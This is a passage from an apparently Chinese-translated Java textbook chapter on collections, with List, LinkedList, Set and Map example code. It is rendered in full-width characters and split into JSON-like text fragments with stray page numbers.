Ｍｕｓｔ ｍｏｖｅ ｔｏ ａｎ ｅｌｅｍｅｎｔ ａｆｔｅｒ ｒｅｍｏｖｅ（）： ｉｔ．ｎｅｘｔ（）； ／／ Ｃｈａｎｇｅ ｔｈｅ ｅｌｅｍｅｎｔ ｔｈａｔ ｗａｓ ｊｕｓｔ ｐｒｏｄｕｃｅｄ： ｉｔ．ｓｅｔ（＂４７＂）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｅｓｔＶｉｓｕａｌ（Ｌｉｓｔ ａ） ｛ ｐｒｉｎｔ（ａ）； Ｌｉｓｔ ｂ ＝ ｎｅｗ ＡｒｒａｙＬｉｓｔ（）； ｆｉｌｌ（ｂ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂ｂ ＝ ＂）； ｐｒｉｎｔ（ｂ）； ａ．ａｄｄＡｌｌ（ｂ）； ａ．ａｄｄＡｌｌ（ｆｉｌｌ（ｎｅｗ ＡｒｒａｙＬｉｓｔ（）））； ｐｒｉｎｔ（ａ）； ／／ Ｓｈｒｉｎｋ ｔｈｅ ｌｉｓｔ ｂｙ ｒｅｍｏｖｉｎｇ ａｌｌ ｔｈｅ ／／ ｅｌｅｍｅｎｔｓ ｂｅｙｏｎｄ ｔｈｅ ｆｉｒｓｔ １／２ ｏｆ ｔｈｅ ｌｉｓｔ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ａ．ｓｉｚｅ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ａ．ｓｉｚｅ（）／２）； ａ．ｒｅｍｏｖｅＲａｎｇｅ（ａ．ｓｉｚｅ（）／２， ａ．ｓｉｚｅ（）／２ ＋ ２）； ｐｒｉｎｔ（ａ）； ／／ Ｉｎｓｅｒｔ， ｒｅｍｏｖｅ， ａｎｄ ｒｅｐｌａｃｅ ｅｌｅｍｅｎｔｓ ／／ ｕｓｉｎｇ ａ ＬｉｓｔＩｔｅｒａｔｏｒ： ＬｉｓｔＩｔｅｒａｔｏｒ ｘ ＝ ａ．ｌｉｓｔＩｔｅｒａｔｏｒ（ａ．ｓｉｚｅ（）／２）； ｘ．ａｄｄ（＂ｏｎｅ＂）； ｐｒｉｎｔ（ａ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｘ．ｎｅｘｔ（））； ｘ．ｒｅｍｏｖｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｘ．ｎｅｘｔ（））； ｘ．ｓｅｔ（＂４７＂）； ｐｒｉｎｔ（ａ）； ／／ Ｔｒａｖｅｒｓｅ ｔｈｅ ｌｉｓｔ ｂａｃｋｗａｒｄｓ： ｘ ＝ ａ．ｌｉｓｔＩｔｅｒａｔｏｒ（ａ．ｓｉｚｅ（））； ｗｈｉｌｅ（ｘ．ｈａｓＰｒｅｖｉｏｕｓ（）） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（ｘ．ｐｒｅｖｉｏｕｓ（） ＋ ＂ ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｔｅｓｔＶｉｓｕａｌ ｆｉｎｉｓｈｅｄ＂）；"},
    {"text": "｝ ／／ Ｔｈｅｒｅ ａｒｅ ｓｏｍｅ ｔｈｉｎｇｓ ｔｈａｔ ｏｎｌｙ ／／ ＬｉｎｋｅｄＬｉｓｔｓ ｃａｎ ｄｏ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｅｓｔＬｉｎｋｅｄＬｉｓｔ（） ｛ ＬｉｎｋｅｄＬｉｓｔ ｌｌ ＝ ｎｅｗ ＬｉｎｋｅｄＬｉｓｔ（）； Ｃｏｌｌｅｃｔｉｏｎ１．ｆｉｌｌ（ｌｌ， ５）； ｐｒｉｎｔ（ｌｌ）； ／／ Ｔｒｅａｔ ｉｔ ｌｉｋｅ ａ ｓｔａｃｋ， ｐｕｓｈｉｎｇ： ｌｌ．ａｄｄＦｉｒｓｔ（＂ｏｎｅ＂）； ｌｌ．ａｄｄＦｉｒｓｔ（＂ｔｗｏ＂）； ｐｒｉｎｔ（ｌｌ）； ／／ Ｌｉｋｅ ＂ｐｅｅｋｉｎｇ＂ ａｔ ｔｈｅ ｔｏｐ ｏｆ ａ ｓｔａｃｋ： ２４１ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｌｌ．ｇｅｔＦｉｒｓｔ（））； ／／ Ｌｉｋｅ ｐｏｐｐｉｎｇ ａ ｓｔａｃｋ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｌｌ．ｒｅｍｏｖｅＦｉｒｓｔ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｌｌ．ｒｅｍｏｖｅＦｉｒｓｔ（））； ／／ Ｔｒｅａｔ ｉｔ ｌｉｋｅ ａ ｑｕｅｕｅ， ｐｕｌｌｉｎｇ ｅｌｅｍｅｎｔｓ ／／ ｏｆｆ ｔｈｅ ｔａｉｌ ｅｎｄ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｌｌ．ｒｅｍｏｖｅＬａｓｔ（））； ／／ Ｗｉｔｈ ｔｈｅ ａｂｏｖｅ ｏｐｅｒａｔｉｏｎｓ， ｉｔ＇ｓ ａ ｄｅｑｕｅｕｅ！ ｐｒｉｎｔ（ｌｌ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ ／／ Ｍａｋｅ ａｎｄ ｆｉｌｌ ａ ｎｅｗ ｌｉｓｔ ｅａｃｈ ｔｉｍｅ： ｂａｓｉｃＴｅｓｔ（ｆｉｌｌ（ｎｅｗ ＬｉｎｋｅｄＬｉｓｔ（）））； ｂａｓｉｃＴｅｓｔ（ｆｉｌｌ（ｎｅｗ ＡｒｒａｙＬｉｓｔ（）））； ｉｔｅｒＭｏｔｉｏｎ（ｆｉｌｌ（ｎｅｗ ＬｉｎｋｅｄＬｉｓｔ（）））； ｉｔｅｒＭｏｔｉｏｎ（ｆｉｌｌ（ｎｅｗ ＡｒｒａｙＬｉｓｔ（）））； ｉｔｅｒＭａｎｉｐｕｌａｔｉｏｎ（ｆｉｌｌ（ｎｅｗ ＬｉｎｋｅｄＬｉｓｔ（）））； ｉｔｅｒＭａｎｉｐｕｌａｔｉｏｎ（ｆｉｌｌ（ｎｅｗ ＡｒｒａｙＬｉｓｔ（）））； ｔｅｓｔＶｉｓｕａｌ（ｆｉｌｌ（ｎｅｗ ＬｉｎｋｅｄＬｉｓｔ（）））； ｔｅｓｔＬｉｎｋｅｄＬｉｓｔ（）；"},
    {"text": "ｏｔｈｅｒｗｉｓｅ ｔｈｅ Ｓ ｅ ｔ ｄｏｅｓｎ’ｔ （ｉｎｔｅｒｆａｃｅ） ａｄｄ ｔｈｅ ｄｕｐｌｉｃａｔｅ ｅｌｅｍｅｎｔ． Ｏｂｊｅｃｔｓ ａｄｄｅｄ ｔｏ ａ Ｓ ｅ ｔ ｍｕｓｔ ｄｅｆｉｎｅ ｅ ｑ ｕ ａ ｌ ｓ （ ） ｔｏ ｅｓｔａｂｌｉｓｈ ｏｂｊｅｃｔ ｕｎｉｑｕｅｎｅｓｓ． Ｓ ｅ ｔ ｈａｓ ｅｘａｃｔｌｙ ｔｈｅ ｓａｍｅ ｉｎｔｅｒｆａｃｅ ａｓ Ｃ ｏ ｌ ｌ ｅ ｃ ｔ ｉ ｏ ｎ ． Ｔｈｅ Ｓ ｅ ｔ ｉｎｔｅｒｆａｃｅ ｄｏｅｓ ｎｏｔ ｇｕａｒａｎｔｅｅ ｉｔ ｗｉｌｌ ｍａｉｎｔａｉｎ ｉｔｓ ｅｌｅｍｅｎｔｓ ｉｎ ａｎｙ ｐａｒｔｉｃｕｌａｒ ｏｒｄｅｒ． Ｈ ａ ｓ ｈ Ｓ ｅ ｔ ＊ Ｆｏｒ Ｓ ｅ ｔ ｓ ｗｈｅｒｅ ｆａｓｔ ｌｏｏｋｕｐ ｔｉｍｅ ｉｓ ｉｍｐｏｒｔａｎｔ． Ｏｂｊｅｃｔｓ ｍｕｓｔ ａｌｓｏ ｄｅｆｉｎｅ ｈ ａ ｓ ｈ Ｃ ｏ ｄ ｅ （ ） ． Ｔ ｒ ｅ ｅ Ｓ ｅ ｔ Ａｎ ｏｒｄｅｒｅｄ Ｓ ｅ ｔ ｂａｃｋｅｄ ｂｙ ａ ｒｅｄ－ｂｌａｃｋ ｔｒｅｅ． Ｔｈｉｓ ｗａｙ， ｙｏｕ ｃａｎ ｅｘｔｒａｃｔ ａｎ ｏｒｄｅｒｅｄ ｓｅｑｕｅｎｃｅ ｆｒｏｍ ａ Ｓ ｅ ｔ ． Ｓｅｔ（接口） 添加到 Ｓｅｔ 的每个元素都必须是独一无二的；"},
    {"text": "面向非常小的 Ｓｅｔ 设计，特别是那些需要频繁创建和删除的。 对于小 Ｓｅｔ，与 ＨａｓｈＳｅｔ 相比，ＡｒｒａｙＳｅｔ 创建和反复所需付出的代价都要小得多。"},
    {"text": "相反，我们要例示的重点在于使一个 Ｓｅｔ 独一无二的行为： ／／： Ｓｅｔ１．ｊａｖａ ／／ Ｔｈｉｎｇｓ ｙｏｕ ｃａｎ ｄｏ ｗｉｔｈ Ｓｅｔｓ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｅｔ１ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｅｓｔＶｉｓｕａｌ（Ｓｅｔ ａ） ｛ Ｃｏｌｌｅｃｔｉｏｎ１．ｆｉｌｌ（ａ）； Ｃｏｌｌｅｃｔｉｏｎ１．ｆｉｌｌ（ａ）； Ｃｏｌｌｅｃｔｉｏｎ１．ｆｉｌｌ（ａ）； Ｃｏｌｌｅｃｔｉｏｎ１．ｐｒｉｎｔ（ａ）； ／／ Ｎｏ ｄｕｐｌｉｃａｔｅｓ！ ／／ Ａｄｄ ａｎｏｔｈｅｒ ｓｅｔ ｔｏ ｔｈｉｓ ｏｎｅ： ａ．ａｄｄＡｌｌ（ａ）； ａ．ａｄｄ（＂ｏｎｅ＂）； ａ．ａｄｄ（＂ｏｎｅ＂）； ａ．ａｄｄ（＂ｏｎｅ＂）； Ｃｏｌｌｅｃｔｉｏｎ１．ｐｒｉｎｔ（ａ）； ／／ Ｌｏｏｋ ｓｏｍｅｔｈｉｎｇ ｕｐ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａ．ｃｏｎｔａｉｎｓ（＼＂ｏｎｅ＼＂）： ＂ ＋ ａ．ｃｏｎｔａｉｎｓ（＂ｏｎｅ＂））； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｅｓｔＶｉｓｕａｌ（ｎｅｗ ＨａｓｈＳｅｔ（））； ｔｅｓｔＶｉｓｕａｌ（ｎｅｗ ＴｒｅｅＳｅｔ（））；"},
    {"text": "创建自己的类型时，一定要注意 Ｓｅｔ 需要通过一种方式来维持一种存储顺序，就象 本章早些时候展示的“ｇｒｏｕｎｄｈｏｇ”（土拔鼠）例子那样。"},
    {"text": "下面是一个例子： ／／： Ｓｅｔ２．ｊａｖａ ／／ Ｐｕｔｔｉｎｇ ｙｏｕｒ ｏｗｎ ｔｙｐｅ ｉｎ ａ Ｓｅｔ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｃｌａｓｓ ＭｙＴｙｐｅ ｉｍｐｌｅｍｅｎｔｓ Ｃｏｍｐａｒａｂｌｅ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ； ｐｕｂｌｉｃ ＭｙＴｙｐｅ（ｉｎｔ ｎ） ｛ ｉ ＝ ｎ； ｝ ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｅｑｕａｌｓ（Ｏｂｊｅｃｔ ｏ） ｛ ｒｅｔｕｒｎ ２４３ （ｏ ｉｎｓｔａｎｃｅｏｆ ＭｙＴｙｐｅ） ＆＆ （ｉ ＝＝ （（ＭｙＴｙｐｅ）ｏ）．ｉ）； ｝ ｐｕｂｌｉｃ ｉｎｔ ｈａｓｈＣｏｄｅ（） ｛ ｒｅｔｕｒｎ ｉ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ ｉ ＋ ＂ ＂； ｝ ｐｕｂｌｉｃ ｉｎｔ ｃｏｍｐａｒｅＴｏ（Ｏｂｊｅｃｔ ｏ） ｛ ｉｎｔ ｉ２ ＝ （（ＭｙＴｙｐｅ） ｏ）．ｉ； ｒｅｔｕｒｎ （ｉ２ ＜ ｉ ？ －１ ： （ｉ２ ＝＝ ｉ ？ ０ ： １））； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｅｔ２ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｓｅｔ ｆｉｌｌ（Ｓｅｔ ａ， ｉｎｔ ｓｉｚｅ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｓｉｚｅ； ｉ＋＋） ａ．ａｄｄ（ｎｅｗ ＭｙＴｙｐｅ（ｉ））； ｒｅｔｕｒｎ ａ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｓｅｔ ｆｉｌｌ（Ｓｅｔ ａ） ｛ ｒｅｔｕｒｎ ｆｉｌｌ（ａ， １０）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｅｓｔ（Ｓｅｔ ａ） ｛ ｆｉｌｌ（ａ）； ｆｉｌｌ（ａ）； ／／ Ｔｒｙ ｔｏ ａｄｄ ｄｕｐｌｉｃａｔｅｓ ｆｉｌｌ（ａ）； ａ．ａｄｄＡｌｌ（ｆｉｌｌ（ｎｅｗ ＴｒｅｅＳｅｔ（）））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ａ）； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｔｅｓｔ（ｎｅｗ ＨａｓｈＳｅｔ（））； ｔｅｓｔ（ｎｅｗ ＴｒｅｅＳｅｔ（））； ｝ ｝ ／／／：￣ 对 ｅｑｕａｌｓ（） 及 ｈａｓｈＣｏｄｅ（）的定义遵照“ｇｒｏｕｎｄｈｏｇ”例子已经给出的形式。 在两种情况下都必须定义一个 ｅｑｕａｌｓ（）。"},
    {"text": "但只有要把类置入一个 ＨａｓｈＳｅｔ 的前提下，才有必要使用 ｈａｓｈＣｏｄｅ（）——这种情况是完全有可能 的，因为通常应先选择作为一个 Ｓｅｔ 实现。"},
    {"text": "８ ． ７ ． ４ 使用 Ｍ ａ ｐ ｓ Ｍ ａ ｐ Ｍａｉｎｔａｉｎｓ ｋｅｙ－ｖａｌｕｅ ａｓｓｏｃｉａｔｉｏｎｓ （ｐａｉｒｓ）， ｓｏ ｙｏｕ ｃａｎ ｌｏｏｋ ｕｐ ａ ｖａｌｕｅ ｕｓｉｎｇ ａ ｋｅｙ． （ｉｎｔｅｒｆａｃｅ） Ｈ ａ ｓ ｈ Ｍ ａ ｐ ＊ Ｉｍｐｌｅｍｅｎｔａｔｉｏｎ ｂａｓｅｄ ｏｎ ａ ｈａｓｈ ｔａｂｌｅ． （Ｕｓｅ ｔｈｉｓ ｉｎｓｔｅａｄ ｏｆ Ｈ ａ ｓ ｈ ｔ ａ ｂ ｌ ｅ ． ） Ｐｒｏｖｉｄｅｓ ｃｏｎｓｔａｎｔ－ｔｉｍｅ ｐｅｒｆｏｒｍａｎｃｅ ｆｏｒ ｉｎｓｅｒｔｉｎｇ ａｎｄ ｌｏｃａｔｉｎｇ ｐａｉｒｓ． Ｐｅｒｆｏｒｍａｎｃｅ ｃａｎ ｂｅ ａｄｊｕｓｔｅｄ ｖｉａ ｃｏｎｓｔｒｕｃｔｏｒｓ ｔｈａｔ ａｌｌｏｗ ｙｏｕ ｔｏ ｓｅｔ ｔｈｅ ｃａｐａｃｉｔｙ ａｎｄ ｌｏａｄ ｆａｃｔｏｒ ｏｆ ｔｈｅ ｈａｓｈ ｔａｂｌｅ． Ｔ ｒ ｅ ｅ Ｍ ａ ｐ Ｉｍｐｌｅｍｅｎｔａｔｉｏｎ ｂａｓｅｄ ｏｎ ａ ｒｅｄ－ｂｌａｃｋ ｔｒｅｅ． Ｗｈｅｎ ｙｏｕ ｖｉｅｗ ｔｈｅ ｋｅｙｓ ｏｒ ｔｈｅ ｐａｉｒｓ， ｔｈｅｙ ｗｉｌｌ ｂｅ ｉｎ ｓｏｒｔｅｄ ｏｒｄｅｒ （ｄｅｔｅｒｍｉｎｅｄ ｂｙ Ｃ ｏ ｍ ｐ ａ ｒ ａ ｂ ｌ ｅ ｏｒ Ｃ ｏ ｍ ｐ ａ ｒ ａ ｔ ｏ ｒ ， ｄｉｓｃｕｓｓｅｄ ｌａｔｅｒ）． Ｔｈｅ ｐｏｉｎｔ ｏｆ ａ Ｔ ｒ ｅ ｅ Ｍ ａ ｐ ｉｓ ｔｈａｔ ｙｏｕ ｇｅｔ ｔｈｅ ｒｅｓｕｌｔｓ ｉｎ ｓｏｒｔｅｄ ｏｒｄｅｒ． Ｔ ｒ ｅ ｅ Ｍ ａ ｐ ｉｓ ｔｈｅ ｏｎｌｙ Ｍ ａ ｐ ｗｉｔｈ ｔｈｅ ｓ ｕ ｂ Ｍ ａ ｐ （ ） ｍｅｔｈｏｄ， ｗｈｉｃｈ ａｌｌｏｗｓ ｙｏｕ ｔｏ ｒｅｔｕｒｎ ａ ｐｏｒｔｉｏｎ ｏｆ ｔｈｅ ｔｒｅｅ． ２４４ Ｍａｐ（接口） 维持“键－值”对应关系（对），以便通过一个键查找相应的值 ＨａｓｈＭａｐ＊ 基于一个散列表实现（用它代替 Ｈａｓｈｔａｂｌｅ）。"},
    {"text": "可通过构建器对这一性能进行调整，以便设置散列表的“能力”和“装载因子” ＡｒｒａｙＭａｐ 由一个 ＡｒｒａｙＬｉｓｔ 后推得到的 Ｍａｐ。"},
    {"text": "ＴｒｅｅＭａｐ 是含有 ｓｕｂＭａｐ（）方法的唯一一种 Ｍａｐ，利用它可以返回树的一部分 下例包含了两套测试数据以及一个 ｆｉｌｌ（）方法，利用该方法可以用任何两维数组（由 Ｏｂｊｅｃｔ 构成）填充任 何 Ｍａｐ。"},
    {"text": "／／： Ｍａｐ１．ｊａｖａ ／／ Ｔｈｉｎｇｓ ｙｏｕ ｃａｎ ｄｏ ｗｉｔｈ Ｍａｐｓ ｐａｃｋａｇｅ ｃ０８．ｎｅｗｃｏｌｌｅｃｔｉｏｎｓ； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｍａｐ１ ｛ ｐｕｂｌｉｃ ｆｉｎａｌ ｓｔａｔｉｃ Ｓｔｒｉｎｇ［］［］ ｔｅｓｔＤａｔａ１ ＝ ｛ ｛ ＂Ｈａｐｐｙ＂， ＂Ｃｈｅｅｒｆｕｌ ｄｉｓｐｏｓｉｔｉｏｎ＂ ｝， ｛ ＂Ｓｌｅｅｐｙ＂， ＂Ｐｒｅｆｅｒｓ ｄａｒｋ， ｑｕｉｅｔ ｐｌａｃｅｓ＂ ｝， ｛ ＂Ｇｒｕｍｐｙ＂， ＂Ｎｅｅｄｓ ｔｏ ｗｏｒｋ ｏｎ ａｔｔｉｔｕｄｅ＂ ｝， ｛ ＂Ｄｏｃ＂， ＂Ｆａｎｔａｓｉｚｅｓ ａｂｏｕｔ ａｄｖａｎｃｅｄ ｄｅｇｒｅｅ＂｝， ｛ ＂Ｄｏｐｅｙ＂， ＂＇Ａ＇ ｆｏｒ ｅｆｆｏｒｔ＂ ｝， ｛ ＂Ｓｎｅｅｚｙ＂， ＂Ｓｔｒｕｇｇｌｅｓ ｗｉｔｈ ａｌｌｅｒｇｉｅｓ＂ ｝， ｛ ＂Ｂａｓｈｆｕｌ＂， ＂Ｎｅｅｄｓ ｓｅｌｆ－ｅｓｔｅｅｍ ｗｏｒｋｓｈｏｐ＂｝， ｝； ｐｕｂｌｉｃ ｆｉｎａｌ ｓｔａｔｉｃ Ｓｔｒｉｎｇ［］［］ ｔｅｓｔＤａｔａ２ ＝ ｛ ｛ ＂Ｂｅｌｌｉｇｅｒｅｎｔ＂， ＂Ｄｉｓｒｕｐｔｉｖｅ ｉｎｆｌｕｅｎｃｅ＂ ｝， ｛ ＂Ｌａｚｙ＂， ＂Ｍｏｔｉｖａｔｉｏｎａｌ ｐｒｏｂｌｅｍｓ＂ ｝， ｛ ＂Ｃｏｍａｔｏｓｅ＂， ＂Ｅｘｃｅｌｌｅｎｔ ｂｅｈａｖｉｏｒ＂ ｝ ｝； ｐｕｂｌｉｃ ｓｔａｔｉｃ Ｍａｐ ｆｉｌｌ（Ｍａｐ ｍ， Ｏｂｊｅｃｔ［］［］ ｏ） ｛ ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｏ．ｌｅｎｇｔｈ； ｉ＋＋） ｍ．ｐｕｔ（ｏ［ｉ］［０］， ｏ［ｉ］［１］）； ｒｅｔｕｒｎ ｍ； ｝ ／／ Ｐｒｏｄｕｃｉｎｇ ａ Ｓｅｔ ｏｆ ｔｈｅ ｋｅｙｓ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔＫｅｙｓ（Ｍａｐ ｍ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂Ｓｉｚｅ ＝ ＂ ＋ ｍ．ｓｉｚｅ（） ＋＂， ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂Ｋｅｙｓ： ＂）； Ｃｏｌｌｅｃｔｉｏｎ１．ｐｒｉｎｔ（ｍ．ｋｅｙＳｅｔ（））； ｝ ／／ Ｐｒｏｄｕｃｉｎｇ ａ Ｃｏｌｌｅｃｔｉｏｎ ｏｆ ｔｈｅ ｖａｌｕｅｓ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔＶａｌｕｅｓ（Ｍａｐ ｍ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔ（＂Ｖａｌｕｅｓ： ＂）； Ｃｏｌｌｅｃｔｉｏｎ１．ｐｒｉｎｔ（ｍ．ｖａｌｕｅｓ（））； ｝ ／／ Ｉｔｅｒａｔｉｎｇ ｔｈｒｏｕｇｈ Ｍａｐ．Ｅｎｔｒｙ ｏｂｊｅｃｔｓ （ｐａｉｒｓ）： ２４５ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｐｒｉｎｔ（Ｍａｐ ｍ） ｛ Ｃｏｌｌｅｃｔｉｏｎ ｅｎｔｒｉｅｓ ＝ ｍ．ｅｎｔｒｉｅｓ（）； Ｉｔｅｒａｔｏｒ ｉｔ ＝ ｅｎｔｒｉｅｓ．ｉｔｅｒａｔｏｒ（）； ｗｈｉｌｅ（ｉｔ．ｈａｓＮｅｘｔ（）） ｛ Ｍａｐ．Ｅｎｔｒｙ ｅ ＝ （Ｍａｐ．Ｅｎｔｒｙ）ｉｔ．ｎｅｘｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｋｅｙ ＝ ＂ ＋ ｅ．ｇｅｔＫｅｙ（） ＋ ＂， Ｖａｌｕｅ ＝ ＂ ＋ ｅ．ｇｅｔＶａｌｕｅ（））； ｝ ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｔｅｓｔ（Ｍａｐ ｍ） ｛ ｆｉｌｌ（ｍ， ｔｅｓｔＤａｔａ１）； ／／ Ｍａｐ ｈａｓ ＇Ｓｅｔ＇ ｂｅｈａｖｉｏｒ ｆｏｒ ｋｅｙｓ： ｆｉｌｌ（ｍ， ｔｅｓｔＤａｔａ１）； ｐｒｉｎｔＫｅｙｓ（ｍ）； ｐｒｉｎｔＶａｌｕｅｓ（ｍ）； ｐｒｉｎｔ（ｍ）； Ｓｔｒｉｎｇ ｋｅｙ ＝ ｔｅｓｔＤａｔａ１［４］［０］； Ｓｔｒｉｎｇ ｖａｌｕｅ ＝ ｔｅｓｔＤａｔａ１［４］［１］； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｍ．ｃｏｎｔａｉｎｓＫｅｙ（＼＂＂ ＋ ｋｅｙ ＋ ＂＼＂）： ＂ ＋ ｍ．ｃｏｎｔａｉｎｓＫｅｙ（ｋｅｙ））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｍ．ｇｅｔ（＼＂＂ ＋ ｋｅｙ ＋ ＂＼＂）： ＂ ＋ ｍ．ｇｅｔ（ｋｅｙ））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｍ．ｃｏｎｔａｉｎｓＶａｌｕｅ（＼＂＂ ＋ ｖａｌｕｅ ＋ ＂＼＂）： ＂ ＋ ｍ．ｃｏｎｔａｉｎｓＶａｌｕｅ（ｖａｌｕｅ））； Ｍａｐ ｍ２ ＝ ｆｉｌｌ（ｎｅｗ ＴｒｅｅＭａｐ（）， ｔｅｓｔＤａｔａ２）； ｍ．ｐｕｔＡｌｌ（ｍ２）； ｐｒｉｎｔＫｅｙｓ（ｍ）； ｍ．ｒｅｍｏｖｅ（ｔｅｓｔＤａｔａ２［０］［０］）； ｐｒｉｎｔＫｅｙｓ（ｍ）； ｍ．ｃｌｅａｒ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｍ．ｉｓＥｍｐｔｙ（）： ＂ ＋ ｍ．ｉｓＥｍｐｔｙ（））； ｆｉｌｌ（ｍ， ｔｅｓｔＤａｔａ１）； ／／ Ｏｐｅｒａｔｉｏｎｓ ｏｎ ｔｈｅ Ｓｅｔ ｃｈａｎｇｅ ｔｈｅ Ｍａｐ： ｍ．ｋｅｙＳｅｔ（）．ｒｅｍｏｖｅＡｌｌ（ｍ．ｋｅｙＳｅｔ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｍ．ｉｓＥｍｐｔｙ（）： ＂ ＋ ｍ．ｉｓＥｍｐｔｙ（））； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｅｓｔｉｎｇ ＨａｓｈＭａｐ＂）； ｔｅｓｔ（ｎｅｗ ＨａｓｈＭａｐ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｅｓｔｉｎｇ ＴｒｅｅＭａｐ＂）； ｔｅｓｔ（ｎｅｗ ＴｒｅｅＭａｐ（））；"},
    {"text": "｝ ｝ ／／／：￣ ｐｒｉｎｔＫｅｙｓ（），ｐｒｉｎｔＶａｌｕｅｓ（）以及 ｐｒｉｎｔ（）方法并不只是有用的工具，它们也清楚地揭示了一个 Ｍａｐ 的 Ｃｏｌｌｅｃｔｉｏｎ“景象”的产生过程。"},
    {"text": "ｖａｌｕｅｓ（）也得到了类似的对待，它的作用是产生一个 Ｌｉｓｔ，其中包含了 Ｍａｐ 中的所有值（注意键必须是独一无二的，而值可以有重复）。"},
    {"text": "比如在那张示意图中，可 以看到 Ｈａｓｈｔａｂｌｅ，Ｖｅｃｔｏｒ 和 Ｓｔａｃｋ 的“特点”是它们都属于“传统”类，所以不会干扰原有的代码。"},
    {"text": "例如，ＡｒｒａｙＬｉｓｔ，ＬｉｎｋｅｄＬｉｓｔ 以及 Ｖｅｃｔｏｒ（大致等价于 ＡｒｒａｙＬｉｓｔ）都实现了 Ｌｉｓｔ 接口，所以无论选用哪一个，我们的程序都会得到类似的结果。"},
    {"text": "正是由于这个原因，假如想在一个列表中部进行大量插入和删除操 作，那么 ＬｉｎｋｅｄＬｉｓｔ 无疑是最恰当的选择（ＬｉｎｋｅｄＬｉｓｔ 还有一些额外的功能，建立于 ＡｂｓｔｒａｃｔＳｅｑｕｅｎｔｉａｌＬｉｓｔ 中）。"},
